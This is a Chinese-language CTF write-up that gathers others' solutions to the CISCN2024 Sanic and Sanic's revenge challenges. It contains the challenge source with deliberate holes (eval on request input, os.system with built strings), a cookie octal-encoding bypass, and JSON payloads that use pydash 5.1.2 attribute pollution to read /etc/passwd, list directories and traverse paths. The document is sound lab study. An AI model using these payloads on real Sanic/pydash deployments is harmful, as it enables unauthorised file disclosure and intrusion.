菜鸡一个,只是整理其他大佬的wp学习。
Web
CISCN2024国赛 Sanic
- 这道题也与python原型链污染和sanic有关,在做Sanic's revenge之前需要先做这道题,可以更好的理解,靶场在CTFSHOW。
大佬wp1:https://www.cnblogs.com/gxngxngxn/p/18205235
大佬wp2:从CISCN2024的sanic引发对python“原型链”的污染挖掘 - 先知社区
- 题目提示敏感目录/src和/admin,/src显示题目源码,/admin显示forbidden
from sanic import Sanic from sanic.response import text, html #from sanic_session import Session import sys import pydash # pydash==5.1.2 class Pollute: def __init__(self): pass app = Sanic(__name__) app.static("/static/", "./static/") #Session(app) @app.route('/', methods=['GET', 'POST']) async def index(request): return html(open('static/index.html').read()) @app.route("/login") async def login(request): user = request.cookies.get("user") if user.lower() == 'adm;n': request.ctx.session['admin'] = True return text("login success") return text("login fail") @app.route("/src") async def src(request): eval(request.args.get('gxngxngxn')) return text(open(__file__).read()) @app.route("/admin", methods=['GET', 'POST']) async def admin(request): key = request.json['key'] value = request.json['value'] if key and value and type(key) is str and '_.' not in key: pollute = Pollute() pydash.set_(pollute, key, value) return text("success") else: return text("forbidden") #print(app.router.name_index['name'].directory_view) if __name__ == '__main__': app.run(host='0.0.0.0')
- 分析一下源码,在/login路由处需要输入"adm;n",但是直接输入会login fail,因为有个;,会直接在分号处截断。这里很多wp说考的是RFC2068的解码规则,我觉得有个wp说的更好,是因为sanic框架源码/sanic/cookie/request.py中的_unquote函数存在八进制解码的逻辑,OCTAL_PATTERN,所以可以将;编码为八进制/073绕过。
payload1: cookie:user="adm\073n"
- 拿到admin的session以后就可以进入/admin路由了,源码中这里调用pydash.set_函数,而且源码中特意强调pydash==5.1.2,因此可以利用python原型链污染。
- 源码中src路由存在__file__,污染这个属性后就可以实现任意文件读取。然后访问/src目录可以到显示/etc/passwd内容。
payload2: {"key":".__init__\\\\.__globals__\\\\.__file__","value": "/etc/passwd"}
- 污染成功,但我们不知道flag的文件名,所以继续寻找可污染变量,注意到注册的static路由会添加DirectoryHandler到route。在sanic框架中有两个重要参数directory_view和directory_handler。当directory_view为True时,会开启列目录功能,directory_handler中可以获取指定的目录。
- 继续跟进directory_handler,发现directory_handler是对DirectoryHandler类的实例化,发现了directory_view和directory参数。所以,我们只要将directory污染为根目录,directory_view污染为True,就可以看到根目录的所有文件了。
- 那如何访问调用directory_view参数呢?因为这个框架可以通过app.router.name_index['xxxx']来获取注册的路由。
payload3:开启列目录 {"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value": True} payload4:将目录设置在根目录下 {"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory._parts","value": ["/"]}
- 访问/static/,可以看到根目录下所有文件,发现flag文件名,然后利用payload2污染file读取flag即可。
payload5:
{"key":"__init__\\\\.__globals__\\\\.__file__","value": "/24bcbd0192e591d6ded1_flag"}
访问/src,得到flag!!!
Sanic's revenge
大佬wp:https://www.cnblogs.com/gxngxngxn/p/18290489
- 我在拿到题目的时候,尝试搜索sanic框架,显示是有python原型链污染,但我完全不知道这是什么?先学习一下概念。
在Python中每个对象都有一个原型,原型上定义了对象可以访问的属性和方法。当对象访问属性或方法时,会先在自身查找,如果找不到就会去原型链上的上级对象中查找,如果找不到就会去原型链上的上级对象中查找,原型链污染攻击的思路是通过修改对象原型链中的属性,使得程序在访问属性或方法时得到不符合预期的结果。
2.分析一下源码,/pollute路由提供了一个污染点pydash.set_,通过传参key和value可以实现原型链污染。此外,这个路由还设置了一个waf,如果触发了waf,就会将key和value的值写入/tmp目录下的文件中。还存在一个未知名称的路由secret。
3.与CISCN2024国赛Sanic不同的是,这里没有__file__属性可以污染,所以尝试file_or_directory,它类似于flask中的_static_url_path,污染后可以直接访问到文件。
payload1:
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.file_or_directory","value": "/"}
4.然后通过访问/static/proc/1/cmdline显示当前进程的启动路径为/bin/bash/start.sh,访问/static/start.sh可以看到运行的是/app下的python文件,利用file_or_directory访问该路径可以得到页面完整源代码。
#### 源码
from sanic import Sanic
import os
from sanic.response import text, html
import sys
import random
import pydash
# pydash==5.1.2
# 源码好像被admin删掉了一些,听他说里面藏有大秘密
class Pollute:
def __init__(self):
pass
def create_log_dir(n):
ret = ""
for i in range(n):
num = random.randint(0, 9)
letter = chr(random.randint(97, 122))
Letter = chr(random.randint(65, 90))
s = str(random.choice([num, letter, Letter]))
ret += s
return ret
app = Sanic(__name__)
app.static("/static/", "./static/")
@app.route("/Wa58a1qEQ59857qQRPPQ")
async def secret(request):
with open("/h111int", 'r') as f:
hint = f.read()
return text(hint)
@app.route('/', methods=['GET', 'POST'])
async def index(request):
return html(open('static/index.html').read())
@app.route("/adminLook", methods=['GET'])
async def AdminLook(request):
# 方便管理员查看非法日志
log_dir = os.popen('ls /tmp -al').read();
return text(log_dir)
@app.route("/pollute", methods=['GET', 'POST'])
async def POLLUTE(request):
key = request.json['key']
value = request.json['value']
if key and value and type(key) is str and 'parts' not in key and 'proc' not in str(
value) and type(value) is not list:
pollute = Pollute()
pydash.set_(pollute, key, value)
return text("success")
else:
log_dir = create_log_dir(6)
log_dir_bak = log_dir + ".."
log_file = "/tmp/" + log_dir + "/access.log"
log_file_bak = "/tmp/" + log_dir_bak + "/access.log.bak"
log = 'key: ' + str(key) + '|' + 'value: ' + str(value);
# 生成日志文件
os.system("mkdir /tmp/" + log_dir)
with open(log_file, 'w') as f:
f.write(log)
# 备份日志文件
os.system("mkdir /tmp/" + log_dir_bak)
with open(log_file_bak, 'w') as f:
f.write(log)
return text("!!!此地禁止胡来,你的非法操作已经被记录!!!")
if __name__ == '__main__':
app.run(host='0.0.0.0')
5.完整源码中显示了secret的路径,访问可知flag在/app目录下,但不知道flag文件名。还有一个/adminLook,访问一开始只有一个文件,尝试非法的key和value,再次访问发现多了两个文件。
6.在大佬的wp中,因为没有__file__属性可以污染,所以利用上面多出的备份文件"tPbxV4.."在DirectoryHandler类中的handle方法可以实现目录穿越,直接列出上层目录下的文件。原理如下:
- 在Sanic框架中有两个重要参数directory_view和directory_handler。而查看Sanic框架源码可以发现directory_handler是对Directory Handler类的实例化,在Directory Handler类有两个参数,directory_view和directory。
- 而列出的目录路径就是由self.directory(这玩意是个对象,这里的值是其中的parts控制的)+current拼接得到的
- 所以如果能控制current的值,例如为"..",就可以实现目录穿越,直接列出上层目录下的文件
- 而current的值又由两个值决定:path和base。下面代码的意思是先去除path两端的斜杠/,然后去除base,最后在去除两端的斜杠。例如path为/static/ctf../,base为static,而current的值为“ctf.."。所以只要控制base的值为statc/ctf即可让current的值为".."
payload2:先开启列目录
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value": True}
payload3:切换到tmp目录下
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.file_or_directory","value": "/tmp"}
payload4:污染base的值
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.base","value": "static/tPbxV4"}
7.然后访问/static/tPbxV4../,图片不一致是因为实例到期,又开启了新的实例。可以看到flag文件名。然后再切换到根目录下,访问/static/app/flag文件名即可得到flag
payload5与payload1一致
EasyJob
待更新中 。。。